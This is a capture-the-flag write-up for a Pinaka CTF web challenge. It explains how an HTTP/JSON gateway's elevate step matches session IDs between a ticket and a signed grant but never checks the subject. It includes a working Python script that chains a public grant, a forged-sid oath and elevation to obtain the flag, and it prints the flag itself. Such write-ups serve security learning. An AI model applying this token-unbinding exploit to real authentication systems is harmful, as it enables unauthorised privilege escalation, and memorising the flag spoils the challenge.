Vibhishana: The Oath of Refuge
By Team Cryptonite · 1 min read
About the CTF: Pinaka CTF
An HTTP/JSON gateway implements a session-ticket / refuge-grant attestation flow. Exploit session-identity unbinding to elevate Vibhishana without a Council grant.
**Pinaka CTF 2026** · Web · Team Cryptonite · All 44 Pinaka write-ups
>An HTTP/JSON gateway implements a session-ticket / refuge-grant attestation flow. Exploit session-identity unbinding to elevate Vibhishana without a Council grant. Connection: http://130.210.48.10:9009/
Solve:
- These are the endpoints we had:
- /gateway/roster -> exposed refuge grants
- /oath/swear -> create session ticket
- /refuge/elevate -> exchanges ticket and grant for trusted one
- /refuge/sanctum -> flag get
- Session ticket were in this structure:
{
"sub": "vibhishana",
"sid": "ABC123",
"tier": "provisional"
}
- Refuge grants also like this but signed
- Both tokens get authenticated using
SHA256and the payloads were base64url encoded - In
/refuge/elevate:
- first the signature and session ticket get verified. also tier was checked if provisional
- verified council signature on refugee grant
- checked whether ticket.sid == grant.sid but the sub was never checked
- Now we had to retreive the public grant and decode its payload to extract the sid.
/oath/swear {name, sid?}lets someone propose thesid. so we get a provisional ticket forsub=vibhishanacarrying sugriva grantsid, then elevate with sugriva public grant.- So our chain is
public grant->provisional oath->eleavate->trusted ticketand finnaly the flag - Heres my script:
#!/usr/bin/env python3
import json
import base64
import urllib.request
BASE = "http://130.210.48.10:9009"
def post(path, obj):
req = urllib.request.Request(
BASE + path, data=json.dumps(obj).encode(),
headers={"Content-Type": "application/json"})
with urllib.request.urlopen(req, timeout=20) as r:
return json.loads(r.read())
def dec(tok):
s = tok.split(".")[0]
return json.loads(base64.urlsafe_b64decode(s + "=" * (-len(s) % 4)))
roster = json.loads(urllib.request.urlopen(BASE + "/gateway/roster", timeout=20).read())
grant = roster["grants_on_record"][0]["grant"]
sid = dec(grant)["sid"]
oath = post("/oath/swear", {"name": "vibhishana", "sid": sid})
ticket = oath["ticket"]
trusted = post("/refuge/elevate", {"ticket": ticket, "grant": grant})["ticket"]
print(post("/refuge/sanctum", {"ticket": trusted})["flag"])
- Running it, I got the flag

Flag:
PINAKA{vibhishanasharanagatisessionboundidentity_unbound}